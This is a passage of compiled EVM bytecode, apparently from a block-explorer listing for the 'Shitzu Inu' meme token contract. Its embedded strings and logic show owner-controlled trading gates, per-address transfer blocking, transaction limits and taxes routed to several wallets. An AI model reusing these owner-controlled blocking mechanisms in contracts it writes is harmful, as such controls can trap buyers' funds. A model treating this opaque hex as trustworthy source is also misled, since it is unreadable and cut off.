fff160217905550505050565b60006114ec83611921565b61152b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152290613394565b60405180910390fd5b611536338484611a7f565b905092915050565b60065481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c99061379b565b60405180910390fd5b6115da612315565b565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116855750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806116dd5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806117355750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b90613400565b60405180910390fd5b61177d476124b4565b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061379b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611903919061381a565b60405180910390a150565b600460009054906101000a900460ff1681565b6000806000905060011515600460009054906101000a900460ff161515141561194d5760019050611a12565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156119aa5760019050611a11565b600060189054906101000a900463ffffffff1663ffffffff16600060149054906101000a900463ffffffff1663ffffffff16846119e79190613835565b73ffffffffffffffffffffffffffffffffffffffff161415611a105760019050611a0f612315565b5b5b5b80915050919050565b6000838311158290611a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5a9190612cdf565b60405180910390fd5b5060008385611a729190613866565b9050809150509392505050565b6000801515600d60159054906101000a900460ff161515148015611af05750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611b0f575060011515600d60149054906101000a900460ff161515145b8015611b2357506000611b213061103d565b115b15611b5a57611b39611b343061103d565b611ea9565b600047905067016345785d8a0000811115611b5857611b57816124b4565b5b505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611bc257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c1157611bd183836126c1565b611c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c07906138e6565b60405180910390fd5b5b6000611c1e8585856127bd565b90506000611c358285612a7690919063ffffffff16565b9050611cc0846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1b9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115611da257611d5e82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611df481600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611e949190612e1f565b60405180910390a36001925050509392505050565b6001600d60156101000a81548160ff02191690831515021790555080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156120d5577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516120cc9190612e1f565b60405180910390a35b6000600267ffffffffffffffff8111156120f2576120f1613906565b5b6040519080825280602002602001820160405280156121205781602001602082028036833780820191505090505b509050308160008151811061213857612137613935565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121da57600080fd5b505afa1580156121ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122129190613979565b8160018151811061222657612225613935565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122c4959493929190613a9f565b600060405180830381600087803b1580156122de57600080fd5b505af11580156122f2573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239e90613b45565b60405180910390fd5b42600a819055506001600d60146101000a81548160ff0219169083151502179055506001600460006101000a81548160ff0219169083151502179055506103e86009600a6123f591906132a3565b64e8d4a5100061240591906132ee565b600561241191906132ee565b61241b9190613511565b6005819055506103e86009600a61243291906132a3565b64e8d4a5100061244291906132ee565b600a61244e91906132ee565b6124589190613511565b600681905550600a600960146101000a81548160ff021916908360ff160217905550600a600960156101000a81548160ff021916908360ff160217905550600a600960166101000a81548160ff021916908360ff160217905550565b6000600960179054906101000a900460ff1660ff16111561256257600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600960179054906101000a900460ff1660ff168461252b91906132ee565b6125359190613511565b9081150290604051600060405180830381858888f19350505050158015612560573d6000803e3d6000fd5b505b6000600960189054906101000a900460ff1660ff16111561261057600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600960189054906101000a900460ff1660ff16846125d991906132ee565b6125e39190613511565b9081150290604051600060405180830381858888f1935050505015801561260e573d6000803e3d6000fd5b505b6000600960199054906101000a900460ff1660ff1611156126be57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600960199054906101000a900460ff1660ff168461268791906132ee565b6126919190613511565b9081150290604051600060405180830381858888f193505050501580156126bc573d6000803e3d6000fd5b505b50565b6000806001905060011515600460009054906101000a900460ff16151514156127b3576005548311156126f757600090506127b2565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156127a757506006546127a584600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac090919063ffffffff16565b115b156127b157600090505b5b5b8091505092915050565b60008060011515600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148061286f575060011515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8061287b575042600a54115b156128895760009050612a6b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156128e8575042600a5410155b156128f65760009050612a6a565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015612954575042600a54105b15612998576129916064612983600960149054906101000a900460ff1660ff1686612b1e90919063ffffffff16565b612b9990919063ffffffff16565b9050612a69565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612a2d57612a266064612a18600960159054906101000a900460ff1660ff1686612b1e90919063ffffffff16565b612b9990919063ffffffff16565b9050612a68565b612a656064612a57600960169054906101000a900460ff1660ff1686612b1e90919063ffffffff16565b612b9990919063ffffffff16565b90505b5b5b5b809150509392505050565b6000612ab883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a1b565b905092915050565b6000808284612acf9190613420565b905083811015612b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0b90613bb1565b60405180910390fd5b8091505092915050565b600080831415612b315760009050612b93565b60008284612b3f91906132ee565b9050828482612b4e9190613511565b14612b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8590613c43565b60405180910390fd5b809150505b92915050565b6000612bdb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612be3565b905092915050565b60008083118290612c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c219190612cdf565b60405180910390fd5b5060008385612c399190613511565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c80578082015181840152602081019050612c65565b83811115612c8f576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cb182612c46565b612cbb8185612c51565b9350612ccb818560208601612c62565b612cd481612c95565b840191505092915050565b60006020820190508181036000830152612cf98184612ca6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d3182612d06565b9050919050565b612d4181612d26565b8114612d4c57600080fd5b50565b600081359050612d5e81612d38565b92915050565b6000819050919050565b612d7781612d64565b8114612d8257600080fd5b50565b600081359050612d9481612d6e565b92915050565b60008060408385031215612db157612db0612d01565b5b6000612dbf85828601612d4f565b9250506020612dd085828601612d85565b9150509250929050565b60008115159050919050565b612def81612dda565b82525050565b6000602082019050612e0a6000830184612de6565b92915050565b612e1981612d64565b82525050565b6000602082019050612e346000830184612e10565b92915050565b600080600060608486031215612e5357612e52612d01565b5b6000612e6186828701612d4f565b9350506020612e7286828701612d4f565b9250506040612e8386828701612d85565b9150509250925092565b600063ffffffff82169050919050565b612ea681612e8d565b8114612eb157600080fd5b50565b600081359050612ec381612e9d565b92915050565b600060208284031215612edf57612ede612d01565b5b6000612eed84828501612eb4565b91505092915050565b600060ff82169050919050565b612f0c81612ef6565b82525050565b6000602082019050612f276000830184612f03565b92915050565b612f3681612ef6565b8114612f4157600080fd5b50565b600081359050612f5381612f2d565b92915050565b60008060408385031215612f7057612f6f612d01565b5b6000612f7e85828601612f44565b9250506020612f8f85828601612f44565b9150509250929050565b600080600060608486031215612fb257612fb1612d01565b5b6000612fc086828701612f44565b9350506020612fd186828701612f44565b9250506040612fe286828701612f44565b9150509250925092565b60006020828403121561300257613001612d01565b5b600061301084828501612d4f565b91505092915050565b61302281612d26565b82525050565b600060208201905061303d6000830184613019565b92915050565b60008060006060848603121561305c5761305b612d01565b5b600061306a86828701612d4f565b935050602061307b86828701612d4f565b925050604061308c86828701612d4f565b9150509250925092565b600080604083850312156130ad576130ac612d01565b5b60006130bb85828601612d4f565b92505060206130cc85828601612d4f565b9150509250929050565b60006130e182612d06565b9050919050565b6130f1816130d6565b81146130fc57600080fd5b50565b60008135905061310e816130e8565b92915050565b60006020828403121561312a57613129612d01565b5b6000613138848285016130ff565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156131c7578086048111156131a3576131a2613141565b5b60018516156131b25780820291505b80810290506131c085613170565b9450613187565b94509492505050565b6000826131e0576001905061329c565b816131ee576000905061329c565b8160018114613204576002811461320e5761323d565b600191505061329c565b60ff8411156132205761321f613141565b5b8360020a91508482111561323757613236613141565b5b5061329c565b5060208310610133831016604e8410600b84101617156132725782820a90508381111561326d5761326c613141565b5b61329c565b61327f848484600161317d565b9250905081840481111561329657613295613141565b5b81810290505b9392505050565b60006132ae82612d64565b91506132b983612ef6565b92506132e67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846131d0565b905092915050565b60006132f982612d64565b915061330483612d64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561333d5761333c613141565b5b828202905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b600061337e601083612c51565b915061338982613348565b602082019050919050565b600060208201905081810360008301526133ad81613371565b9050919050565b7f6e6f7420617574686f72697a6564000000000000000000000000000000000000600082015250565b60006133ea600e83612c51565b91506133f5826133b4565b602082019050919050565b60006020820190508181036000830152613419816133dd565b9050919050565b600061342b82612d64565b915061343683612d64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561346b5761346a613141565b5b828201905092915050565b7f4e6f2074617820746f6b656e7320746f20737761700000000000000000000000600082015250565b60006134ac601583612c51565b91506134b782613476565b602082019050919050565b600060208201905081810360008301526134db8161349f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061351c82612d64565b915061352783612d64565b925082613537576135366134e2565b5b828204905092915050565b7f5458206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b6000613578601083612c51565b915061358382613542565b602082019050919050565b600060208201905081810360008301526135a78161356b565b9050919050565b7f57616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006135e4601483612c51565b91506135ef826135ae565b602082019050919050565b60006020820190508181036000830152613613816135d7565b9050919050565b7f4e657720746178206d757374206265206c6f7765720000000000000000000000600082015250565b6000613650601583612c51565b915061365b8261361a565b602082019050919050565b6000602082019050818103600083015261367f81613643565b9050919050565b600061369182612ef6565b915061369c83612ef6565b92508260ff038211156136b2576136b1613141565b5b828201905092915050565b7f5468652073756d206d7573742062652031303000000000000000000000000000600082015250565b60006136f3601383612c51565b91506136fe826136bd565b602082019050919050565b60006020820190508181036000830152613722816136e6565b9050919050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000613785602a83612c51565b915061379082613729565b604082019050919050565b600060208201905081810360008301526137b481613778565b9050919050565b6000819050919050565b60006137e06137db6137d684612d06565b6137bb565b612d06565b9050919050565b60006137f2826137c5565b9050919050565b6000613804826137e7565b9050919050565b613814816137f9565b82525050565b600060208201905061382f600083018461380b565b92915050565b600061384082612d06565b915061384b83612d06565b92508261385b5761385a6134e2565b5b828206905092915050565b600061387182612d64565b915061387c83612d64565b92508282101561388f5761388e613141565b5b828203905092915050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b60006138d0601183612c51565b91506138db8261389a565b602082019050919050565b600060208201905081810360008301526138ff816138c3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061397381612d38565b92915050565b60006020828403121561398f5761398e612d01565b5b600061399d84828501613964565b91505092915050565b6000819050919050565b60006139cb6139c66139c1846139a6565b6137bb565b612d64565b9050919050565b6139db816139b0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a1681612d26565b82525050565b6000613a288383613a0d565b60208301905092915050565b6000602082019050919050565b6000613a4c826139e1565b613a5681856139ec565b9350613a61836139fd565b8060005b83811015613a92578151613a798882613a1c565b9750613a8483613a34565b925050600181019050613a65565b5085935050505092915050565b600060a082019050613ab46000830188612e10565b613ac160208301876139d2565b8181036040830152613ad38186613a41565b9050613ae26060830185613019565b613aef6080830184612e10565b9695505050505050565b7f4c50206164647265737320686173206e6f74206265656e207365740000000000600082015250565b6000613b2f601b83612c51565b9150613b3a82613af9565b602082019050919050565b60006020820190508181036000830152613b5e81613b22565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b9b601b83612c51565b9150613ba682613b65565b602082019050919050565b60006020820190508181036000830152613bca81613b8e565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c2d602183612c51565b9150613c3882613bd1565b604082019050919050565b60006020820190508181036000830152613c5c81613c20565b905091905056fea26469706673582212201d839215a360607f85d91d9e60b197fe7830d92e7e2aa23f2938f40de1956aca64736f6c6343000809003300000000000000000000000000000000000000000000000000000000327f06680000000000000000000000000000000000000000000000000000000024a75d8e
Deployed Bytecode
0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063a9059cbb1161008a578063d0e1f6e711610064578063d0e1f6e7146104e9578063dd62ed3e14610500578063f2fde38b1461053d578063ffb54a991461056657610171565b8063a9059cbb1461046a578063aa4bde28146104a7578063c9567bf9146104d257610171565b8063715018a6146103805780637a351a1d14610397578063893d20e8146103c05780638c0b5e22146103eb57806395d89b41146104165780639fda05811461044157610171565b80634cdc8da4116101235780634cdc8da41461029a5780634f0bb1a3146102b15780635524a738146102da5780635fbbc8101461030357806370a082311461032c57806370df27371461036957610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd146102095780632d7edf7d14610246578063313ce5671461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610591565b6040516101989190612cdf565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d9a565b6105ce565b6040516101d59190612df5565b60405180910390f35b3480156101ea57600080fd5b506101f36106c0565b6040516102009190612e1f565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612e3a565b6106e5565b60405161023d9190612df5565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612ec9565b61092d565b005b34801561027b57600080fd5b506102846109d8565b6040516102919190612f12565b60405180910390f35b3480156102a657600080fd5b506102af6109e1565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612f59565b610bd5565b005b3480156102e657600080fd5b5061030160048036038101906102fc9190612f99565b610d7b565b005b34801561030f57600080fd5b5061032a60048036038101906103259190612f99565b610efb565b005b34801561033857600080fd5b50610353600480360381019061034e9190612fec565b61103d565b6040516103609190612e1f565b60405180910390f35b34801561037557600080fd5b5061037e611086565b005b34801561038c57600080fd5b50610395611142565b005b3480156103a357600080fd5b506103be60048036038101906103b99190612fec565b61124b565b005b3480156103cc57600080fd5b506103d561131d565b6040516103e29190613028565b60405180910390f35b3480156103f757600080fd5b50610400611346565b60405161040d9190612e1f565b60405180910390f35b34801561042257600080fd5b5061042b61134c565b6040516104389190612cdf565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190613043565b611389565b005b34801561047657600080fd5b50610491600480360381019061048c9190612d9a565b6114e1565b60405161049e9190612df5565b60405180910390f35b3480156104b357600080fd5b506104bc61153e565b6040516104c99190612e1f565b60405180910390f35b3480156104de57600080fd5b506104e7611544565b005b3480156104f557600080fd5b506104fe6115dc565b005b34801561050c57600080fd5b5061052760048036038101906105229190613096565b61177f565b6040516105349190612e1f565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190613114565b611806565b005b34801561057257600080fd5b5061057b61190e565b6040516105889190612df5565b60405180910390f35b60606040518060400160405280600a81526020017f536869747a7520496e7500000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106ae9190612e1f565b60405180910390a36001905092915050565b60006009600a6106d091906132a3565b64e8d4a510006106e091906132ee565b905090565b60006106f083611921565b61072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690613394565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461091957610898826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1b9092919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610924848484611a7f565b90509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490613400565b60405180910390fd5b8063ffffffff16426109cf9190613420565b600a8190555050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a8a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610ae25750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610b3a5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090613400565b60405180910390fd5b6000610b843061103d565b905060008111610bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc0906134c2565b60405180910390fd5b610bd281611ea9565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90613400565b60405180910390fd5b600060648360ff166009600a610c7b91906132a3565b64e8d4a51000610c8b91906132ee565b610c9591906132ee565b610c9f9190613511565b9050600554811015610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd9061358e565b60405180910390fd5b80600581905550600060648360ff166009600a610d0391906132a3565b64e8d4a51000610d1391906132ee565b610d1d91906132ee565b610d279190613511565b9050600654811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d65906135fa565b60405180910390fd5b8060068190555050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290613400565b60405180910390fd5b600960149054906101000a900460ff1660ff168360ff1611158015610e455750600960159054906101000a900460ff1660ff168260ff1611155b8015610e665750600960169054906101000a900460ff1660ff168160ff1611155b610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90613666565b60405180910390fd5b82600960146101000a81548160ff021916908360ff16021790555081600960156101000a81548160ff021916908360ff16021790555080600960166101000a81548160ff021916908360ff160217905550505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290613400565b60405180910390fd5b6064818385610f9a9190613686565b610fa49190613686565b60ff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde90613709565b60405180910390fd5b82600960176101000a81548160ff021916908360ff16021790555081600960186101000a81548160ff021916908360ff16021790555080600960196101000a81548160ff021916908360ff160217905550505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d90613400565b60405180910390fd5b600d60149054906101000a900460ff1615600d60146101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c79061379b565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516112419190613028565b60405180910390a1565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d09061379b565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60055481565b60606040518060400160405280600981526020017f534849545a55494e550000000000000000000000000000000000000000000000815250905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613400565b60405180910390fd5b82600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60006114ec83611921565b61152b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152290613394565b60405180910390fd5b611536338484611a7f565b905092915050565b60065481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c99061379b565b60405180910390fd5b6115da612315565b565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116855750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806116dd5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806117355750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b90613400565b60405180910390fd5b61177d476124b4565b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061379b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021